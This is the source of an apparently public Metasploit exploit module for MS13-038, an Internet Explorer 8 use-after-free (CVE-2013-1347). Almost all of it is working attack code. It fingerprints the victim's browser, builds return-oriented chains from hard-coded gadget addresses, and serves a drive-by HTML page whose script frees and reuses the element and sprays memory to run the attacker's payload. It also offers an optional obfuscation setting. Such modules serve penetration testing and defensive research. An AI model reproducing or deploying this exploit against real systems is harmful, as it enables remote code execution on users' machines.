236 lines
7.0 KiB
Ruby
236 lines
7.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "8.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:rank => GoodRanking
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Microsoft Internet Explorer. A
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use-after-free condition occurs when a CGenericElement object is freed, but a
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reference is kept on the Document and used again during rendering, an invalid
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memory that's controllable is used, and allows arbitrary code execution under the
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context of the user.
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Please note: This vulnerability has been exploited in the wild on 2013 May, in
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the compromise of the Department of Labor (DoL) Website.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown',
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'EMH',
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'juan vazquez', #RCA
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'sinn3r' #RCA
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],
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'References' =>
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[
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[ 'CVE', '2013-1347' ],
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[ 'OSVDB', '92993' ],
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[ 'MSB', 'MS13-038' ],
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[ 'US-CERT-VU', '237655' ],
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[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
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[ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Space' => 1024,
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
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[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 3 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '5.2'
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os_name = 'Windows Server 2003'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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else
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# OS not supported
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return nil
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def get_payload(t, cli)
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rop_payload = ''
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# Extra junk in the end to make sure post code execution is stable.
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p = payload.encoded
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case t['Rop']
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when :msvcrt
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align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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rop_payload = ''
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if t.name == 'IE 8 on Windows XP SP3'
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rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'})
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elsif t.name == 'IE 8 on Windows Server 2003'
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rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'})
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end
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else
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code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
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code << p
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code << rand_text_alpha(12000)
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rop_payload = generate_rop_payload('java', code)
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end
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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case my_target['Rop']
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when :msvcrt
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case my_target.name
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when 'IE 8 on Windows XP SP3'
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align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
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xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
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when 'IE 8 on Windows Server 2003'
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align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
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xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
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end
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else
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align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
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xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
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end
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padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
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js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
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html = %Q|
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<!doctype html>
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<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
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<head>
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<meta>
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<?IMPORT namespace="t" implementation="#default#time2">
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</meta>
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<script>
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#{js_mstime_malloc}
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function helloWorld()
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{
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sparkle = unescape("ABCD");
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for (i=0; i < 2; i++) {
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sparkle += unescape("ABCD");
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}
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sparkle += unescape("AB");
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sparkle += unescape("#{js_payload}");
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magenta = unescape("#{align_esp}");
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for (i=0; i < 0x70/4; i++) {
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if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
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else { magenta += unescape("#{align_esp}"); }
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}
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magenta += sparkle;
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document.body.contentEditable="true";
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f0 = document.createElement('span');
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f1 = document.createElement('span');
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f2 = document.createElement('span');
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document.body.appendChild(f0);
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document.body.appendChild(f1);
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document.body.appendChild(f2);
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for (i=0; i < 20; i++) { document.createElement("img"); }
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f2.appendChild(document.createElement('datalist'));
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f1.appendChild(document.createElement('span'));
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CollectGarbage();
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f1.appendChild(document.createElement('table'));
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try { f0.offsetParent=null;}
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catch(e) { }
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f2.innerHTML = "";
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f1.innerHTML = "";
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f0.appendChild(document.createElement('hr'));
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mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
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}
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</script>
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</head>
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<body onload="eval(helloWorld());">
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<t:ANIMATECOLOR id="myanim"/>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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